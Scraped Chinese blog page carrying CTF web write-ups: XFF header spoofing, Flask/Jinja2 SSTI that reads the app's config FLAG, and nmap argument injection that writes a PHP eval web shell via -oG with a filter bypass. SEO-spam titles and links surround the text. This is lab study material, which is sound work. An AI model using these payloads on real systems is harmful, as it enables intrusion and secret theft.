当前位置: 首页 > news >正文

标识标牌专业百度seo排名优化

标识标牌,专业百度seo排名优化,做阀门网站电话,深圳做网站好的公司[MRCTF2020]PYWebsite1 进入环境,页面就提示要购买flag,不要想着购买,因为扫码后提示的是一个文本 “拜托!你不会真的想PYflag吧,这样可是违规的!再好好分析一下界面代码吧” 查看网页源码,发现…

[MRCTF2020]PYWebsite1

 进入环境,页面就提示要购买flag,不要想着购买,因为扫码后提示的是一个文本

“拜托!你不会真的想PYflag吧,这样可是违规的!再好好分析一下界面代码吧”

查看网页源码,发现flag文件

访问后得到该页面,查看源码也没有有用的信息

 提示在后端验证了IP,还提示了需要购买者或自己IP,了解到这题的考点是X-Forward-For,果断抓包添加绕过IP限制

X-Forwarded-For:127.0.0.1

 发送后得到该页面,并查看源码也可以得到flag

 笔记

X-Forwarded-For(XFF)

XFF是header请求头中的一个参数
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
代表了HTTP的请求端真实的IP。

X-Forwarded-For: client1, proxy1, proxy2, proxy3
//浏览器IP,第一个代理服务器,第二个三个四个等等

   利用方式

1.绕过服务器过滤

XFF漏洞也称为IP欺骗。
有些服务器通过XFF头判断是否是本地服务器,当判断为本地服务器时,才能访问相关内容。

X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 192.168.1.1

修改XFF头的信息,即可绕过服务器的过滤。

2.XFF导致sql注入

XFF注入和SQL的header头部注入原理一样,服务器端会对XFF信息进行记录,
但没有进行过滤处理,就容易导致sql注入的产生

X-Forwarded-for: 127.0.0.1' and 1=1#

   然后进一步利用sql注入,进行渗透测试。

伪造XFF头绕过服务器IP过滤

IP伪造

TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造

XFF字段

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:

X-Forwarded-For: client1, proxy1, proxy2, proxy3

左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)

伪造方式

可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数

参考:https://www.cnblogs.com/dubhe-/p/9987227.html

X-Forwarded-For - HTTP | MDN

X-Forwarded-For 和 X-Real-IP 的区别? - 猪啊美 - 博客园

[WesternCTF2018]shrine1

进入环境,看到这个页面没有什么思路,但看到import,看着有点想python代码

 查看源码

将代码导入pycharm运行,出现报错

 接着不知道要怎么进行下去了,参考别人的wp:渗透学习-CTF篇-web-BUUCTF_ctf渗透题_dfzy$_$的博客-CSDN博客

[WesternCTF2018]shrine-CSDN博客

先了解SSTI

SSTI(模板注入)

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

    我们看到第一部分这里有个函数flask.render_template_string , 这个函数就是一个模板的调用函数。
    当我们在ctf中看到这个函数时,就可以联想到这很有可能是一道SSTI的题。
    这里会对我们传入的参数进行过滤,也就是说会将传入的参数中的()进行过滤掉,防止我们调用特殊变量或者python内置的函数等等。
    4 这里代码将__name__这个系统变量传入到对应的app变量中,再调用app变量里的config参数调出FLAG的值。

在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。在本关中就有一个config 对象。

且本关由于对输入的参数进行了过滤() 因此,我们可以利用python中的url_for()函数是用于构建操作指定函数的URL。(因为这个函数可以省略(),所以可用)

在分析了传入的pyload的构成后,我们还需要看看在哪个位置处存在注入点

 在代码中的这一部分,有一个app.route() 这里就是指对应的注入的路径!!!

 开始注入

构造payload:

/shrine/{{url_for.__globals__}}

globals 会列出当前的所有的变量。 但是根据题目,我们需要找到当前使用的变量,也就是flask的变量。(这里已经在图中标识了)

然后,读取当前命名空间中的对应变量信息:当前在flask模板下里的config

/shrine/{{url_for.__globals__['current_app'].config}}

看到flag

 但是呢,我们还可以用如下payload直接读取:

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

 知识点:SSTI模板注入

一、初识SSTI

1、什么是SSTI?

SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。

可能SSTI对大家而言不是很熟悉,但是相信大家很熟悉SQL注入。实际上这两者的思路都是相同的,因此可以类比来分析。

2、引发SSTI的真正原因

render_template渲染函数的问题

渲染函数在渲染的时候,往往对用户输入的变量不做渲染。

也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
 

参考:服务器端模板注入(SSTI)详解_江西省遂川县常驻深圳大使的博客-CSDN博客

SSTI模板注入总结-CSDN博客

flask之ssti模版注入从零到入门 - 先知社区

[网鼎杯 2020 朱雀组]Nmap1

进入环境,要求输入主机或IP进行扫描

 输入127.0.0.1尝试一下

 但是到这里就不知道要如何操作了

参考:web buuctf [网鼎杯 2020 朱雀组]Nmap1_半杯雨水敬过客的博客-CSDN博客

这道题用到namp的命令,别人的wp解释这道题是namp注入,但具体的namp注入是什么也不清楚

利用NMAP里的-oG命令实现代码的写入,那我们这里就可以尝试构造payload,来利用‘拼接,写入我们想要的shell文件

这里要传入一句话木马,类似于文件上传,但这里多了namp的命令的使用

payload:

' <?php eval($_POST["cmd"]);?> -oG zhuque.php '

 

注入之后发现存在过滤,fuzz,过滤了php

(1)利用<?=来代替<?php进行绕过
(2)利用phtml来代替shell.php的文件后缀

payload:

' <?= eval($_POST["cmd"]);?> -oG zhuque.phtml '

 访问文件查看是否上传成功,结果上传成功

 用蚁剑连接查看文件

找到flag

namp参考:【精选】Namp使用_simple11618的博客-CSDN博客

http://www.dt0577.cn/news/28080.html

相关文章:

  • 做网站的app有什么作用百度的推广方式有哪些
  • 临沂在线做网站品牌营销与推广
  • 公司网站的作用网站建设企业建站
  • 辽宁专业模板网站建设公司电子商务网站建设方案
  • 网站如何做中英文双语言广告做到百度第一页
  • web网站设计基本2021年网络十大关键词
  • 宜布网网站谁做的google关键词搜索技巧
  • 云南网站建设费用百度官网app下载
  • 可以直接进入网站的正能量没封的网站怎么制作免费的
  • 建设网站 费用吗如何制作百度网页
  • 四川网站建设公司 会员登录网址搜索引擎
  • 网站建设培训学校北京网络舆情监控
  • 电子商务网站建设pdfweb网站模板
  • 西宁高端网站制作公司aso排名优化知识
  • 营销型网站建设公司推荐项目推广方式有哪些
  • 做网站新手流程百度推广一个月多少钱
  • 江苏网站开发建设营销顾问公司
  • 临沂新增疫情最新情况优化网站内容
  • 做电商自建网站怎样推广项目
  • 网站建设报价模块互联网项目推广是什么
  • 网站服务器及运营维护公告网络营销推广策划
  • 自己做的网站别人查看业务推广方式
  • 正版宝安网站推广线下广告投放渠道都有哪些
  • 深圳有做网站的公司有哪些百度市场应用官方app
  • 有服务器和网站代码了 怎么建站陕西seo排名
  • 网站运营数据周报表怎么做seo推广平台服务
  • nodejs做静态网站国内免费域名
  • 亚马逊网站建设案例东莞谷歌推广公司
  • 旅游网站建设网站推广seo搜索引擎优化工作内容
  • 怎样创建一个网站平台沈阳seo收费